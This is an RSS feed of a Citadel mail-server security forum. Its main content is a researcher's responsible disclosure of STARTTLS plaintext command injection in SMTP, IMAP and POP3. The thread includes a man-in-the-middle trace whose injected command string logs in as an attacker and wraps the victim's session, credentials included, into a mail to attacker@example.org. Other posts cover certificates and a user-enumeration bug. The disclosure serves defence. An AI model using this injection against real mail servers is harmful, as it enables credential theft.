<p>So the user attacker uses the injection to log in, prepares a mail to themselves (using MAIL FROM, RCPT TO, and DATA). These commands get buffered into the encrypted stream. Now the actual client (alice) sends their commands, but everything is interpreted inside the DATA verb, which is finally closed by the . sent by alice.<br />The responses to the injections by citadel directly after the handshake will be interpreted as the answers to alice commands (this can be fine tuned in a real MitM scenario by delaying records on a TLS level if necessary, but most clients are fine with this). Finally, the attacker will receive an e-mail from themselves containing the contents of alice's session (including their credentials).</p>
<p>Note: As you can see I am first sending NOOP with a lot of As after it. This is to increase the receive buffer size to make room for the injection.</p>
<p>I have attached a .pcap file of the SMTP connection and will be sending you the test script privately.</p>
<p>Note: Wireshark will not get what is happening after the injection and display only garbage. As a workaround, you can right click an SMTP packet-&gt;protocol preferences-&gt;Disable SMTP. The TLS records will then be displayed correctly. To restore SMTP later click Analyze-&gt;Enabled Protocols and search for SMTP.</p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4576253</link><pubDate>Wed, 05 Aug 2020 08:07:31 -0000</pubDate><title>Re: STARTTLS Command injection in IMAP, POP3, and SMTP</title><guid isPermaLink="false">4576253@Uncensored</guid><description><![CDATA[<html><body>

<p> </p>
<blockquote>
<div class="message_header"><span>Tue Aug 04 2020 09:26:49 EDT</span> <span>from IGnatius T Foobar </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY">Can you explain a little further what happens after the command injection? <br />If you want to send the test script privately, you can PM it to me here. <br />I'd be interested in seeing what happens next on a Citadel implementation. <br /><br />I'm sure that if a man-in-the-middle attack is possible we can mitigate it pretty easily. Thanks. </div>
</div>
</blockquote>
<p> </p>
<p>Sure! In essence this is what the trace of a real MitM attack would look like (C: Client, S: Server, A: Attacker):</p>
<blockquote>
<p>S: 220 ebb7034d4bf5 ESMTP Citadel server ready.<br />C: EHLO localhost<br />S: b'250-Hello localhost (172.17.0.1 [172.17.0.1])\r\n250-HELP\r\n250-SIZE 10485760\r\n250-AUTH LOGIN PLAIN\r\n250-AUTH=LOGIN PLAIN\r\n250 8BITMIME\r\n'<br />A: NOOP A*2000<br />S: 250 NOOP\r\n'<br />Sending 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: &lt;attacker@example.org&gt;\r\nRCPT TO: &lt;attacker@example.org&gt;\r\nDATA\r\nSubject: This is user data!\r\n\r\n' in one packet ...<br />A: 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: &lt;attacker@example.org&gt;\r\nRCPT TO: &lt;attacker@example.org&gt;\r\nDATA\r\nSubject: This is user data!\r\n\r\n'<br />S: 220 Begin TLS negotiation now<br />&lt;--- TLS connected ---&gt;<br />-----Found command injection here!----<br />S: 250-Hello localhost (172.17.0.1 [172.17.0.1]) -- encrypted<br />S: 250-HELP -- encrypted<br />S: 250-SIZE 10485760 -- encrypted<br />S: 250-AUTH LOGIN PLAIN<br />250
</blockquote>
<p>And the corresponding log:</p>
<blockquote>
<p>citserver[123]: context: session (SMTP-MTA) started from 172.17.0.1 (172.17.0.1) uid=-1<br />citserver[123]: SMTP server: EHLO localhost<br />citserver[123]: SMTP server: NOOP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</blockquote>
<p>So the user attacker uses the injection to log in, prepares a mail to themselves (using MAIL FROM, RCPT TO, and DATA). These commands get buffered into the encrypted stream. Now the actual client (alice) sends their commands, but everything is interpreted inside the DATA verb, which is finally closed by the . sent by alice.<br />The responses to the injections by citadel directly after the handshake will be interpreted as the answers to alice commands (this can be fine tuned in a real MitM scenario by delaying records on a TLS level if necessary, but most clients are fine with this). Finally, the attacker will receive an e-mail from themselves containing the contents of alice's session (including their credentials).</p>
<p>Note: As you can see I am first sending NOOP with a lot of As after it. This is to increase the receive buffer size to make room for the injection.</p>
<p>I have attached a .pcap file of the SMTP connection and will be sending you the test script privately.</p>
<p>Note: Wireshark will not get what is happening after the injection and display only garbage. As a workaround, you can right click an SMTP packet-&gt;protocol preferences-&gt;Disable SMTP. The TLS records will then be displayed correctly. To restore SMTP later click Analyze-&gt;Enabled Protocols and search for SMTP.</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4576068</link><pubDate>Tue, 04 Aug 2020 13:26:49 -0000</pubDate><title>Re: STARTTLS Command injection in IMAP, POP3, and SMTP</title><guid isPermaLink="false">4576068@Uncensored</guid><description><![CDATA[Can you explain a little further what happens after the command injection?
 If you want to send the test script privately, you can PM it to me here.
 I'd be interested in seeing what happens next on a Citadel implementation.

  
 I'm sure that if a man-in-the-middle attack is possible we can mitigate it
pretty easily.  Thanks. 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4576039</link><pubDate>Tue, 04 Aug 2020 10:05:24 -0000</pubDate><title>STARTTLS Command injection in IMAP, POP3, and SMTP</title><guid isPermaLink="false">4576039@Uncensored</guid><description><![CDATA[<html><body>

<p>Hello,</p>
<p>during our research in e-mail servers at Münster University of Applied Sciences, we found some security issues in the STARTTLS implementation of the current version of Citadel.</p>
<p><span style="text-decoration: underline;">Description</span></p>
<p>These issues potentially allow a meddler-in-the-middle (MitM) attacker to leak user credentials by injecting plaintext commands into the encrypted TLS stream. This vulnerability was first described by Wietse Venema for Postfix in 2011 (http://www.postfix.org/CVE-2011-0411.html). We found that Citadel is vulnerable to this kind of injection in IMAP, POP3, and SMTP. Basically, by injecting plaintext commands between the STARTTLS command an the TLS Handshake, a MitM can cause theirs plaintext commands to be interpreted in the encrypted context. See these SMTP trace from Citadel for example:</p>
<p>Normal:<br /> S: 220 ebb7034d4bf5 ESMTP Citadel server ready.<br /> C: EHLO buftest<br /> S: 250-Hello buftest (172.17.0.1 [172.17.0.1])<br /> S: 250-HELP<br /> S: 250-SIZE 10485760<br /> S: 250-STARTTLS<br /> S: 250-AUTH LOGIN PLAIN<br /> S: 250-AUTH=LOGIN PLAIN<br /> S: 250 8BITMIME<br /> C: STARTTLS<br /> S: 220 Begin TLS negotiation now<br /> &lt;----- TLS Handshake -----&gt;<br /> C: QUIT<br /> S: 221 Goodbye...</p>
<p>With command injection:</p>
<p> S: 220 ebb7034d4bf5 ESMTP Citadel server ready.<br /> C: EHLO buftest<br /> S: 250-Hello buftest (172.17.0.1 [172.17.0.1])<br /> S: 250-HELP<br /> S: 250-SIZE 10485760<br /> S: 250-STARTTLS<br /> S: 250-AUTH LOGIN PLAIN<br /> S: 250-AUTH=LOGIN PLAIN<br /> S: 250 8BITMIME<br /> C: STARTTLS<br /> A: NOOP<br /> S: 220 Begin TLS negotiation now<br /> &lt;----- TLS Handshake -----&gt;<br /> S: 250 NOOP<br /> - Command injection here!</p>
<p>As you can see, the attacker injected NOOP command (A: NOOP) is interpreted by citadel inside the encrypted context, even though it was sent in plain. The same is possible for POP3 and IMAP.</p>
<p><span style="text-decoration: underline;">Proof of Concept</span></p>
<p>As this is a vulnerability affecting multiple vendors/servers, I can currently not publicly disclose our test script for this. However, I can send it to the developers privately if requested.</p>
<p><span style="text-decoration: underline;">Security Impact</span></p>
<p>For SMTP and IMAP, this vulnerability can be used to leak user credentials to an attacker, e.g., by enclosing them into an e-mail send to the attacker by injecting the MAIL FROM, RCPT TO, and DATA verbs into the encrypted session. Additionally, this vulnerability can be used for cross-protocol attacks on server sharing a TLS certificate with citadel. In IMAP this can, for example, be used to host HTTPS without actually attacking TLS. In POP3, fortunately, the impact is currently limited, but this vulnerability might be used in more elaborate attacks.</p>
<p> </p>
<p>Best regards,<br />Murgi</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4574951</link><pubDate>Fri, 31 Jul 2020 00:02:35 -0000</pubDate><title>Re: Self-signed certificate</title><guid isPermaLink="false">4574951@Uncensored</guid><description><![CDATA[ >But isn't the purpose of running with a valid cert to run on SSL  
 >exclusively? Why keep an an unencrypted connection open?  
  
 Even if you wanted to shut all the unencrypted traffic down (which is not
always the case), port 80 is useful for opportunistic encryption, ie, issuing
an HTTP redirect towards port 443 if some browser attepts to use port 80.

]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4574834</link><pubDate>Thu, 30 Jul 2020 14:44:45 -0000</pubDate><title>Re: Self-signed certificate</title><guid isPermaLink="false">4574834@Uncensored</guid><description><![CDATA[
Am 29.07.20 um 20:40 schrieb IGnatius T Foobar:

> While it is true that certbot itself will listen on another port, it
> does not advise the ACME server to use another port, nor will that be
> accepted.

Too sad.

> RFC 8555 section 8.3 seems to codify that
> "http://domain.example.com/.well-known/acme-challenge/" is the
> official place. Does that sound right to you?

Don't know. I've only used certbot in standalone mode with port 80 so far.

]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4574604</link><pubDate>Wed, 29 Jul 2020 18:40:32 -0000</pubDate><title>Re: Self-signed certificate</title><guid isPermaLink="false">4574604@Uncensored</guid><description><![CDATA[  
 While it is true that certbot itself will listen on another port, it does
not advise the ACME server to use another port, nor will that be accepted.

  
 From https://letsencrypt.org/docs/challenge-types/ : 
  
 " The HTTP-01 challenge can only be done on port 80. Allowing clients to
specify arbitrary ports would make the challenge less secure, and so it is
not allowed by the ACME standard." 
  
 Now there is another possibility we can look into.    The example challenge
on the Let's Encrypt site shows the token being served from http://<YOUR_DOMAIN>/.well-known/acme-challenge/<TOKEN>
, and in practice that seems to be where it wants to go.    So what I'm wondering
is ... does the ACME protocol standardize "/.well-known" as the required prefix
for the challenge?  If so, then I can hack that prefix into WebCit as a location
for static files to be served. 
  
 RFC 8555 section 8.3 seems
to codify that "http://domain.example.com/.well-known/acme-challenge/" is
the official place.  Does that sound right to you? 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4574570</link><pubDate>Wed, 29 Jul 2020 15:42:32 -0000</pubDate><title>Re: Self-signed certificate</title><guid isPermaLink="false">4574570@Uncensored</guid><description><![CDATA[
Am 26.07.20 um 16:26 schrieb IGnatius T Foobar:

> When I shut down port 80 I knock users off the Citadel service running
> on that port.

But isn't the purpose of running with a valid cert to run on SSL
exclusively? Why keep an an unencrypted connection open?

> I wish they'd offer domain validation through another port.

What about "certbot certonly --standalone -d
host.domain.com,alias.domain.com --http-01-port 90" ?
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4573801</link><pubDate>Sun, 26 Jul 2020 14:26:35 -0000</pubDate><title>Re: Self-signed certificate</title><guid isPermaLink="false">4573801@Uncensored</guid><description><![CDATA[Hmm.  I tried both certbot and acme.sh ... both want me to shut down port
80 to accept a challenge request.  When I shut down port 80 I knock users
off the Citadel service running on that port.  I wish they'd offer domain
validation through another port.  That's what I was planning to do.  For example,
if the ACME protocol could validate the host using port 8080, certbot could
spin up its temporary web server on port 8080 and the certificate could be
installed without disrupting the service running on the machine. 
  
 I have been thinking that with webcit-ng we can build an ACME client directly
into the program, or at least give it the ability to make calls to certbot
and respond to the challenge.   
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4572631</link><pubDate>Tue, 21 Jul 2020 15:22:19 -0000</pubDate><title>Re: Self-signed certificate</title><guid isPermaLink="false">4572631@Uncensored</guid><description><![CDATA[
Am 20.07.20 um 21:12 schrieb IGnatius T Foobar:

> Is the LetsEncrypt certificate bound to any particular port, or only
> to the host? In other words, could I run a dumb web server on some
> other port, use it to keep the certificate updated, and then copy that
> cert over to WebCit whenever it changes?

certbot is written in python (AFAIK) and contains a small and simple web
server that it opens on port 80 for the time it takes to create/renew
the cert if no other web server is found on the machine (on Debian:
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4572450</link><pubDate>Mon, 20 Jul 2020 21:20:08 -0000</pubDate><title>Re: Self-signed certificate</title><guid isPermaLink="false">4572450@Uncensored</guid><description><![CDATA[ > Hmm.  Is the LetsEncrypt certificate bound to any particular port, or 
 
 >only to the host?  In other words, could I run a dumb web server on   
 >some other port, use it to keep the certificate updated, and then copy 
 
 >that cert over to WebCit whenever it changes?   
  
 Pretty much that. Their certificate only identifies the host. 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4572434</link><pubDate>Mon, 20 Jul 2020 19:12:37 -0000</pubDate><title>Re: Self-signed certificate</title><guid isPermaLink="false">4572434@Uncensored</guid><description><![CDATA[Been thinking about that for a long time.  What I want to do is put an ACME
client directly into the system so that it can order and renew its own certificates.
 The existing webcit code base is too unmaintainable to add that now, but
it's coming. 
  
 Hmm.  Is the LetsEncrypt certificate bound to any particular port, or only
to the host?  In other words, could I run a dumb web server on some other
port, use it to keep the certificate updated, and then copy that cert over
to WebCit whenever it changes? 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4571651</link><pubDate>Fri, 17 Jul 2020 14:24:59 -0000</pubDate><title>Self-signed certificate</title><guid isPermaLink="false">4571651@Uncensored</guid><description><![CDATA[<html><body>

<p>Hi,</p>
<p>since this is a public service, it shouldn't use a self-signed SSL certificate. With the rise of LetsEncrypt it's quite easy nowadays to obtain an official certificate for free. Just install certbot and follow usage instructions on the LetsEncrypt web page. And since it's a cert "bot", it will also renew the certificate automatically before it expires.</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4563260</link><pubDate>Tue, 16 Jun 2020 03:34:47 -0000</pubDate><title>Re: /summary displays logged-in users to the public [template fix]</title><guid isPermaLink="false">4563260@Uncensored</guid><description><![CDATA[  
 Does the /summary page display logged-in users even on a site that is configured
to require login? 
  
 Unfortunately I must admit that I have a lot of difficulty with WebCit, because
a lot of people made a lot of changes to it and I sort of lost track of how
it works.  It's never been a great design, because in 1996 when it was first
built I really had no idea what I was doing  :)      That's one reason we
are starting over with webcit-ng. 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4561979</link><pubDate>Thu, 11 Jun 2020 20:03:39 -0000</pubDate><title>/summary displays logged-in users to the public [template fix]</title><guid isPermaLink="false">4561979@Uncensored</guid><description><![CDATA[<html><body>

<p>I found this one right out of the gate.  It's really more of a privacy problem, but does pertain to user enumeration.</p>
<p>Steps to reproduce,</p>
<p>1) log out of webcit.</p>
<p>2) visit with browser .. scheme://yourwebcit.ext/summary</p>
<p>3) See a list of logged in users. [This view of "Who's Online" doesn't expose IP address, but still.. probably not cool.]</p>
<p>My fix: </p>
<pre style="font-family: mono;">mkdir /usr/local/webcit/static.local/t/summary
cd /usr/local/webcit/static.local/t/summary<br /><br /># Now, type, paste or create the file "page.html", my version is shown below. <br /># It ain't stock webcit, just the very basics. 
# Or, feel free to start with a copy of 
# /usr/local/webcit/static/t/summary/page.html<br /># <br /># Some theoretical contents for "page.html"</pre>
<pre style="font-family: mono;"># Doesn't solve the display of top banner, but DOES prevents the info leak. <br />
&lt;div style="margin:20px;"&gt;
   &lt;?!("COND:LOGGEDIN",1)&gt;
      &lt;?_("Not logged in.")&gt;
   &lt;??("X",1)&gt;
   &lt;??("COND:LOGGEDIN",1)&gt;
      &lt;script type="text/javascript"&gt;
         new Ajax.PeriodicalUpdater('msg_inner', 'new_messages_html', { method: 'get', frequency: 60 }  );
         new Ajax.PeriodicalUpdater('tasks_inner', 'tasks_inner_html', { method: 'get', frequency: 120 }  );
         new Ajax.PeriodicalUpdater('calendar_inner', 'calendar_inner_html', { method: 'get', frequency: 90 }  );
         new Ajax.PeriodicalUpdater('who_inner', 'do_template?template=who_summary', { method: 'get', frequency: 30 }  );
      &lt;/script&gt;
      &lt;p&gt;Welcome &lt;?CURRENT_USER("X")&gt;!&lt;/p&gt;
      &lt;p&gt;&lt;?_("You are connected to")&gt; &lt;?SERV:HUMANNODE&gt;, &lt;?_("running")&gt; &lt;?SERV:SOFTWARE&gt; &lt;?_("with")&gt; &lt;?PACKAGESTRING&gt; (&lt;?_("server build")&gt; &lt;?SERV:REV_LEVEL&gt;), &lt;?_("which is located in")&gt; &lt;?SERV:BBS_CITY&gt;.&lt;/p&gt;
      &lt;p&gt;&lt;?_("Your system administrator is")&gt; &lt;i&gt;&lt;?SERV:ADMIN&gt;.&lt;/i&gt;&lt;/p&gt;
      &lt;hr/&gt;
      &lt;p&gt;&lt;?_("Today on your calendar is ")&gt;&lt;/p&gt;
      &lt;blockquote&gt;
          &lt;span id="calendar_inner"&gt; &lt;/span&gt;
      &lt;/blockquote&gt;
      &lt;p&gt;&lt;?_("Tasks")&gt;&lt;/p&gt;
      &lt;blockquote&gt;
          &lt;span id="tasks_inner"&gt;&lt;/span&gt;
      &lt;/blockquote&gt;
      &lt;p&gt;&lt;?_("Messages")&gt;&lt;/p&gt;
      &lt;blockquote&gt;
       &lt;span id ="msg_inner"&gt;&lt;/span&gt;
      &lt;/blockquote&gt;
      &lt;p&gt;Who is Online Now?&lt;/p&gt;
      &lt;blockquote&gt;
         &lt;span id="who_inner"&gt;&lt;/span&gt;
      &lt;/blockquote&gt;
   &lt;??("X",1)&gt;
&lt;/div&gt;

</pre>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4561649</link><pubDate>Wed, 10 Jun 2020 14:19:03 -0000</pubDate><title>Inaugural Security Post</title><guid isPermaLink="false">4561649@Uncensored</guid><description><![CDATA[<html><body>

<p>Today is the first post of all time, in the new Citadel Security room!</p>
<p>We mark this occasion, with a quote from CHARLES BUKOWSKI..</p>
<blockquote>"There is enough treachery, hatred violence absurdity in the average Human being...<br /> to supply any given army on any given day..."</blockquote>
<p>Yes, it's all sadly true.. and We'd be remiss not to mention, USERS who are particularly EVIL...</p>
<p>.. it is in contemplating these burdens, we arrive at the topic of Security.</p>
<p>Actually, there is not much to say at this point..</p>
<ul>
<li>There is a potential user enumeration issue.  [What is exposing these users? SMTP,  Webcit, or a Bulgarian with a text file full of names?]</li>
<li>There is an older possible issue, dealing with Host Based Authentication and user NULL, which should be looked into.</li>
</ul>
<p>Nobody is using the words "Security Audit at this point, but some initial goals are:</p>
<ol>
<li>To generate a list of public URLs exposed by webcit, also, by access levels (for those systems allowing registration).</li>
<li>Throw a bunch of stuff at those URLS by scripting, to see what we can EXPOSE, also, what we can BREAK.</li>
<li>Perhaps try the same on ports, but more geared toward authentication, and enumeration, like SMTP, XMPP, IMAP, 504, text client</li>
<li>Generate some configs for fail2ban jails for authenticated citadel services on the default ports.  Also, nginx security configs for webcit. </li>
<li>??? That's all I can think of at this moment.</li>
<li>Be sure to mention, this is not How do I install Citadel on Rasberry Pi support. </li>
</ol>
<p>Citadel is our friend, and we need it.  We want to keep her running safely, as a mighty fortress, in the dark ocean of night..</p>
<p>Will you answer the call?</p>
<p> If you would like to talk about these things, or participate in working on them.. this is the place for you!</p>
<p>Please describe your SECURITY issues ACCURATELY and with PRECISION, in the ENGLISH LANGUAGE, in all posts here!</p>
<p>Thank you. </p>
<p> </p>
<p> </p>
]]></description></item></channel></rss>

